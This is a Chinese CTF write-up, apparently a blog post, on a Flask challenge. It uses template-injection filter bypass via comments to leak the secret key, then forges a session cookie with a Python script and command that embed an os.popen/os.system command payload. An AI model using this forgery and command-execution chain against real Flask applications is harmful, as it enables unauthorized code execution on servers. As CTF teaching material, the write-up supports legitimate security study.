看到这种题很容易想到是模板注入
直接测试
有过滤,之前刷过flasksession伪造的题目
抓包查看cookie
可能是JWT伪造
先去github找个脚本解一下cookie
脚本
可以发现这里面的cookie刚好就是我们刚刚提交的东西
题目意思够清楚了,接着就是如何伪造session了
而想要伪造必须要拿到secrect_key,而由于直接输入{{}}不可行。那就看他有没有地方可以报错
可以发现1/0报错了
可是由于输入{{}}不可以,学到个新思路,用注释来绕过
可以发现通过注释我们可以直接绕过,接着就是读取key了
接着利用这个脚本直接生成
from flask.sessions import SecureCookieSessionInterface
secret_key = "cded826a1e89925035cc05f0907855f7"
class FakeApp:
secret_key = secret_key
fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
{"history": [{"code": '__import__("os").popen("ls ").read()'}]}
)
print(cookie)
也可以用刚刚github那个脚本
注意用python3
python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history':[{'code':'__import__(os).system(\"ls \")'}]}"```
将cookie放上去
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200925211347323.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1NvcFJvbWVv,size_16,color_FFFFFF,t_70#pic_center)
查看flag.txt即可